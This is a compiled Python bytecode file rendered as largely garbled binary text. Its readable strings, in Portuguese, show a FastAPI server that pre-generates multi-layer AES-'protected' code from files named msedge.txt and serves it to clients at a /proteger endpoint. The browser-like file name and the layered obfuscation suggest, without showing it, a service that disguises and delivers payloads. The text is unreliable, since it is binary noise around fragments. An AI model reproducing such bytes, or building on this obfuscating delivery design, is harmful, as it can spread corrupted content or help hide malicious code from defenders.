rå  rç  ÚbaseÚsrcrí  Úmtimer?  Úrawrm   Úer3   r3   r4   Ú_load_sourceM  s4   "

ÿ&


ÿ €þzCodePool._load_sourcec              
   C   s€   | j r>z| jjdd}|  |¡ | j ¡  W n" tjy    Y q  ty8 } ztd|› ƒ W Y d }~nd }~ww | j sd S d S )NrH   )Útimeoutz[ERRO] Generator: )	rà  rß  r¸  Ú_generate_oneÚ	task_donerÝ  ÚEmptyrô  ró  )rå  rç  rù  r3   r3   r4   rä  l  s   
€ÿùzCodePool._generator_workerc              
   C   s  |   |¡}|s	d S zbt ¡ }t|ƒ}t ¡ | d }|  |¡ || jvr/ttd d| j|< | j|  |¡ W d   ƒ n1 sAw   Y  | jd  d7  < t	| j 
|g ¡ƒ}td|p]d› d|d	›d
|› dƒ W d S  ty… } ztd|› ƒ W Y d }~d S d }~ww )Nrg  rÌ  )ÚmaxlenrÐ  rH   z[POOL] Gerado para rë  z em ú.0fz
ms (pool: rX   u   [ERRO] Gerar cÃ³digo: )rú  ÚtimerÂ  ré  rÖ  rÊ  râ  r[   rá  rY   r¸  ró  rô  )rå  rç  Úsourcer`   Ú	protectedÚelapsedÚ	pool_sizerù  r3   r3   r4   rü  w  s&   

ý(€ÿzCodePool._generate_onerH   Úcountc                 C   s   t |ƒD ]}| j |¡ qd S r+   )r9   rß  Úput)rå  rç  r  r0   r3   r3   r4   Ú_request_generationŒ  s   ÿzCodePool._request_generationc                 C   s0  | j d  d7  < |r| d¡nd}|  |¡}|sd S |  |¡O || jv rh| j| rh| j|  ¡ }t| j| ƒ}| j d  d7  < |td k rR|  |td | ¡ t	d|pWd	› d
|› dƒ |W  d   ƒ S W d   ƒ n1 srw   Y  t	d|p|d	› dƒ t
|ƒ}| j d  d7  < |  |td ¡ |S )NrÓ  rH   ú/r'   rÑ  rÍ  rË  z[POOL] Servido do pool rë  z
 (restam: rX   z[POOL] Pool vazio para z, gerando...rÒ  )rá  rZ  rú  ré  rÖ  ÚpopleftrY   râ  r  ró  rÂ  )rå  rç  r  rm   r  r  r3   r3   r4   Úget_code  s,   
ö€ zCodePool.get_codec                 C   s(   t d|pd› dƒ |  |td ¡ d S )Nu   [WARMUP] PrÃ©-gerando para rë  z...rË  )ró  r  râ  rè  r3   r3   r4   Úwarmup¬  s   zCodePool.warmupc              
   C   sº   t d }t d }g }tj tj ||¡¡r| d¡ z(t |¡D ]}tj ||¡}tj |¡r?tj tj ||¡¡r?| |¡ q W |S  ty\ } zt	d|› ƒ W Y d}~|S d}~ww )u,   Descobre todas as pastas que tÃªm msedge.txtr   r   r'   z[ERRO] Ao escanear pastas: N)
rì  r¡  rí  rî  r8   r[   ÚlistdirÚisdirrô  ró  )rå  rõ  rö  ÚfoldersÚitemÚ	item_pathrù  r3   r3   r4   Údiscover_folders°  s&   

€üý€ýzCodePool.discover_foldersc                 C   sN   |   ¡ }tdt|ƒ› dtd › ƒ |D ]}|  |¡ td|p d› ƒ qdS )u/   PrÃ©-aquece TODAS as pastas que tÃªm msedge.txtz[WARMUP] Encontradas z pasta(s) com r   z[WARMUP] Iniciado: rë  N)r  ró  rY   rì  r  )rå  r  rç  r3   r3   r4   Ú
warmup_allÆ  s   
þzCodePool.warmup_allc                 C   sD   dd„ | j  ¡ D ƒ}| jd | jd | jd | jd || j ¡ dœS )Nc                 S   s   i | ]\}}|p	d t |ƒ“qS ©rë  )rY   )r/   r?  Úpr3   r3   r4   Ú
<dictcomp>Ð  s    z&CodePool.get_stats.<locals>.<dictcomp>rÐ  rÑ  rÒ  rÓ  )rÐ  rÑ  rÒ  rÓ  Ú
pool_sizesÚ
queue_size)rÖ  rá   rá  rß  Úqsize)rå  Ú
pools_infor3   r3   r4   Ú	get_statsÏ  s   úzCodePool.get_statsN)rH   )Ú__name__Ú
__module__Ú__qualname__Ú__doc__ræ  rK   rÚ  rÛ  ré  r   rú  rä  rü  rt   r  r  r  r€  r  r  Údictr  r3   r3   r3   r4   rÏ  ,  s    	rÏ  z:ERRO: pip3 install fastapi uvicorn --break-system-packageszServidor Completo + Poolz5.0)rÇ  rÉ  r`   Ústartupc                  Ã   sÊ   t  ¡ td< trdnd} tƒ  tdƒ tdƒ tdƒ tdƒ tdƒ td	ƒ td
ƒ td| d›dƒ tdƒ tƒ  tsEtdƒ tƒ  tdtd › dtd › ƒ tdtd › ƒ tƒ  t ¡  d S )Nr`   u   RÃPIDO (cryptography)zLENTO (Python puro)uê   â•”â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•—uQ   â•‘     SERVIDOR COMPLETO + POOL v5.1 - AUTO-WARMUP                           â•‘uê   â• â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•£uU   â•‘  [âœ“] TODAS as 9 camadas de proteÃ§Ã£o (IGUAL proteger.py original)          â•‘uS   â•‘  [âœ“] ZERO PERDA DE CLIENTES - Sistema de pool                             â•‘uT   â•‘  [âœ“] PRÃ‰-AQUECE TODAS AS PASTAS AUTOMATICAMENTE                           â•‘uU   â•‘  [âœ“] Cliente recebe cÃ³digo INSTANTÃ‚NEO                                    â•‘u   â•‘  [âœ“] AES: z<54u    â•‘uê   â•šâ•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•zB[AVISO] Instale: pip3 install cryptography --break-system-packagesz[OK] Pool: min=rË  z, max=rÌ  z[OK] Threads geradoras: rÎ  )r   r¹  rá  r‘  ró  râ  Ú	code_poolr  )Ú
aes_statusr3   r3   r4   r!  î  s*   €z	/proteger)Úresponse_classrç  c                 Ã   sr   t   ¡ }t | ¡}|d u rtd| pd› ddS t   ¡ | d }td| p&d› dt|ƒd›d	|d
›dƒ t|ƒS )Nu&   # ERRO: msedge.txt nÃ£o encontrado em rë  i”  )Ústatus_coderg  z[OK] u    â†’ rJ   z
 chars em r   r   )r  r"  r  rÆ  ró  rY   )rç  r`   rm   r  r3   r3   r4   Úproteger  s   €
(r&  z/warmupc                 Ã   s   t  | ¡ d| p
ddœS )Nz
warming uprë  )Ústatusrç  )r"  r  )rç  r3   r3   r4   r    s   €
r  z/statsc                   Ã   s.   t d rtt ¡ t d  ƒnd tt ¡ dœS )Nr`   )ÚuptimeÚaes_fastÚpool)rá  rK   r   r¹  r‘  r"  r  r3   r3   r3   r4   r     s
   €ýr  z/healthc                  Ã   s*   t  ¡ } ddtdt| ƒdd„ | D ƒdœS )NÚokz5.1Tc                 S   s   g | ]}|pd ‘qS r  r3   r>  r3   r3   r4   rB  2  rj   zhealth.<locals>.<listcomp>)r'  rÉ  r)  r*  Úfolders_detectedr  )r"  r  r‘  rY   )r  r3   r3   r4   Úhealth)  s   €úr-  z/foldersc                  Ã   s\   t  ¡ } t  ¡ }g }| D ]}|pd}|d  |d¡}| |||dkdœ¡ q|t| ƒdœS )z/Lista todas as pastas detectadas com msedge.txtrë  r  r   )rç  r  Úready)r  Útotal)r"  r  r  r¸  r[   rY   )r  Ú
pool_statsÚresultrç  r:   r  r3   r3   r4   Úlist_folders6  s   €
ýr2  Ú__main__z:appr   r   Úinfo)r   r   r   Ú	log_level)r&   r'   )rR   r   )T)r   r+   )r'   )Wr  r¡  Úsysr  r-   r6   ro   rB   Úzlibr»  rÚ  ÚmultiprocessingÚpathlibr   r   Útypingr   r   r   Úconcurrent.futuresr   r·  Ú&cryptography.hazmat.primitives.ciphersr   r	   r
   Úcryptography.hazmat.backendsr   r‘  ÚImportErrorrì  r¶  ÚPROJECT_CONFIGrt   rK   r;   r@   rG   rQ   rb   rl   r   r‚   rð   Úboolrù   r  rM  rR  rf  rl  rz  r  r  r´  rÂ  rÄ  ÚfastapirÅ  Úfastapi.responsesrÆ  Úuvicornró  ÚexitÚappÚcollectionsrÊ  rÝ  râ  rÏ  r"  rá  Úon_eventr!  r¸  r&  r  r  r-  r2  r  rí  ÚsplitextÚbasenameÚargvÚscriptÚrunr3   r3   r3   r4   Ú<module>   sò   ÿúóü5_%'>*m1Eýýü 0þ






ÿþ